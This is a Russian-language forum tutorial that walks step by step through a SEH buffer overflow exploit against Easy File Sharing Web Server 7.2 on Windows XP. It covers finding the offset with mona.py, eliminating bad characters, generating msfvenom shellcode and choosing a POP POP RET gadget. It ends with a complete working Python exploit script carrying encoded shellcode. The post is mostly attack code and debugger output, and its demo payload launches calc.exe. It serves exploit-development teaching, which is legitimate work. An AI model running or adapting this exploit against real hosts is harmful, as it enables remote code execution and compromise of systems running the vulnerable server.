• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Easy File Sharing Web Server 7.2 SEH overflow

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Тестирование проводилось на Windows XP SP3 x86 En (no dep)

Уязвимое ПО:

Запускаем ПО

1640554135976.png


И аттачимся отладчиком Immunity Debugger к процессу, дальше передаем программе входной поток. Посмотрим как оно себя поведет.

Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from struct import pack
import socket
payload = "A"*5000

exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
exploit.connect(("127.0.0.1",80))
exploit.send("GET " + payload + " HTTP/1.1\r\n")
exploit.close()

1640554171427.png


посмотрим Chain SEH

1640554187682.png


Сгенерирум строку паттерн используя плагин mona.py

!mona pc 50000

1640554203618.png


Скопируем сгенерированную строку ASCII строку в наш триггер сплойт. Перезапустим сервер, приаттачимся, и запустим сплойт.

После чего пишем в строке команд отладчика

!mona findmsp

Чтобы выполнить циклический поиск по патернам, сгенерированной нами ASCII строки. Mona будет достаточно долговато искать , но ничего подожем.

1640554251748.png


1640554259311.png


И видим, что смещение до SEH = 4061

Проверим. Пошлем 4061 байт из символов «A» и еще 1000 символов из «B».

1640554275075.png


Отлично.

Теперь самое время проверить входной поток на плохие символы (Bad chars), так как шеллкод может не отработать, самый лучший вариант это сделать, это после перезаписи адреса возврата или перезаписи SEH, что мы с вами и сделали. И так приступим. Пишем

!mona bytearray –cpb "\x00"


Для того, чтобы сгенерировать массив bad chars. Сгенерированный массив копируем в эксплойт. И по традиции сразу убираем x00 нулбайт. Все остальные оставляем. И так запускаем сервер, аттачимся отладчиком, запускаем сплойт и смотрим в окно стека. Какие байты отображаются, а какие нет.


!mona compare -f C:\logs\<папка программы>\bytearray.bin -a <адрес в стеке откуда начинаются badchar>


1640554315316.png


Результат работы

1640554330193.png



Убираем еще один плохой символ «\x20»

!mona bytearray -cpb "\x00\x20"
1640554350878.png



Видим что тут нам выдало не один плохой символ, а несколько: 25, 26, 27, 2b, 2f. Не спешим уберем 25


!mona bytearray -cpb "\x00\x20\x25"


Затем опять сравниваем.

1640554381136.png


Как мы видим байты 26 и 27 были ложными, а 2b остался. Исключим теперь его.

!mona bytearray -cpb "\x00\x20\x25\x2b"

1640554410994.png


Отлично. Теперь нам нужно и можно сгенерировать шеллкод. Добавим параметр -b для того, что исключить найденные нами bad char’s.

msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00\x20\x25\x2b'

Код:
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1078 bytes
buf =  b""
buf += b"\xdb\xdd\xb8\x03\xb9\xc2\xe9\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x31\x31\x43\x18\x03\x43\x18\x83\xc3\x07\x5b"
buf += b"\x37\x15\xef\x19\xb8\xe6\xef\x7d\x30\x03\xde\xbd\x26"
buf += b"\x47\x70\x0e\x2c\x05\x7c\xe5\x60\xbe\xf7\x8b\xac\xb1"
buf += b"\xb0\x26\x8b\xfc\x41\x1a\xef\x9f\xc1\x61\x3c\x40\xf8"
buf += b"\xa9\x31\x81\x3d\xd7\xb8\xd3\x96\x93\x6f\xc4\x93\xee"
buf += b"\xb3\x6f\xef\xff\xb3\x8c\xa7\xfe\x92\x02\xbc\x58\x35"
buf += b"\xa4\x11\xd1\x7c\xbe\x76\xdc\x37\x35\x4c\xaa\xc9\x9f"
buf += b"\x9d\x53\x65\xde\x12\xa6\x77\x26\x94\x59\x02\x5e\xe7"
buf += b"\xe4\x15\xa5\x9a\x32\x93\x3e\x3c\xb0\x03\x9b\xbd\x15"
buf += b"\xd5\x68\xb1\xd2\x91\x37\xd5\xe5\x76\x4c\xe1\x6e\x79"
buf += b"\x83\x60\x34\x5e\x07\x29\xee\xff\x1e\x97\x41\xff\x41"
buf += b"\x78\x3d\xa5\x0a\x94\x2a\xd4\x50\xf2\xad\x6a\xef\xb0"
buf += b"\xae\x74\xf0\xe4\xc6\x45\x7b\x6b\x90\x59\xae\xc8\x7e"
buf += b"\xb8\x7b\x24\x17\x65\xee\x85\x7a\x96\xc4\xc9\x82\x15"
buf += b"\xed\xb1\x70\x05\x84\xb4\x3d\x81\x74\xc4\x2e\x64\x7b"
buf += b"\x7b\x4e\xad\x18\x1a\xdc\x2d\xf1\xb9\x64\xd7\x0d"


Дело за малым. Теперь найдем гаджет pop pop ret. Для того что перезаписать SEH.

!mona seh -n

1640554456957.png


А в nSEH положим гаджет POP POP RET по дефолту 90 90 32 eb

Так же остается добавить цепочку нонов и собрать все части сплойта вместе. И того алгоритм эксплуатации у нас выглядит следующим образом.


1. Перезапись SEH
2. OFFSET до SEH ( !mona findmsp)
3. nSEH - Short JMP (90 90 32 EB - POP POP RET NSEH)
4. SEH - POP-POP-RET (POP POP RET из любой .DLL !mona seh -n)
5. Срезка NOP'ов
6. Шеллкод

Запускаем сплойт

Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from struct import pack
import socket
bad_chars = ""
bad_chars += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
bad_chars += "\x21\x22\x23\x24\x26\x27\x28\x29\x2a\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
bad_chars += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
bad_chars += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
bad_chars += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
bad_chars += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
bad_chars += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
bad_chars += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# !mona bytearray -cpb "\x00\x20\x25\x2b"
# !mona compare -f C:\logs\fsws\bytearray.bin -a 01D073BC
#bad chars \x00\x20\x25\x2b


#shellcode
shellcode =  ""
shellcode += "\xdb\xdd\xb8\x03\xb9\xc2\xe9\xd9\x74\x24\xf4\x5b\x29"
shellcode += "\xc9\xb1\x31\x31\x43\x18\x03\x43\x18\x83\xc3\x07\x5b"
shellcode += "\x37\x15\xef\x19\xb8\xe6\xef\x7d\x30\x03\xde\xbd\x26"
shellcode += "\x47\x70\x0e\x2c\x05\x7c\xe5\x60\xbe\xf7\x8b\xac\xb1"
shellcode += "\xb0\x26\x8b\xfc\x41\x1a\xef\x9f\xc1\x61\x3c\x40\xf8"
shellcode += "\xa9\x31\x81\x3d\xd7\xb8\xd3\x96\x93\x6f\xc4\x93\xee"
shellcode += "\xb3\x6f\xef\xff\xb3\x8c\xa7\xfe\x92\x02\xbc\x58\x35"
shellcode += "\xa4\x11\xd1\x7c\xbe\x76\xdc\x37\x35\x4c\xaa\xc9\x9f"
shellcode += "\x9d\x53\x65\xde\x12\xa6\x77\x26\x94\x59\x02\x5e\xe7"
shellcode += "\xe4\x15\xa5\x9a\x32\x93\x3e\x3c\xb0\x03\x9b\xbd\x15"
shellcode += "\xd5\x68\xb1\xd2\x91\x37\xd5\xe5\x76\x4c\xe1\x6e\x79"
shellcode += "\x83\x60\x34\x5e\x07\x29\xee\xff\x1e\x97\x41\xff\x41"
shellcode += "\x78\x3d\xa5\x0a\x94\x2a\xd4\x50\xf2\xad\x6a\xef\xb0"
shellcode += "\xae\x74\xf0\xe4\xc6\x45\x7b\x6b\x90\x59\xae\xc8\x7e"
shellcode += "\xb8\x7b\x24\x17\x65\xee\x85\x7a\x96\xc4\xc9\x82\x15"
shellcode += "\xed\xb1\x70\x05\x84\xb4\x3d\x81\x74\xc4\x2e\x64\x7b"
shellcode += "\x7b\x4e\xad\x18\x1a\xdc\x2d\xf1\xb9\x64\xd7\x0d"




payload = "A" * 4061 # offset SEH
#payload += "B"*999
#payload += bad_chars
payload += pack('I', 0x909032eb) #nseh =  90 90 32 eb
payload += pack('I', 0x100195f2) #seh= pop esi # pop ecx # ret !mona seh from ImageLoad.dll !

payload += '\x90'*100
payload += shellcode

exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
exploit.connect(("127.0.0.1", 80))
exploit.send("GET " + payload + " HTTP/1.1\r\n")
exploit.close()


1640554559029.png


Иии видим спавн калькулятора

1640554574613.png
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!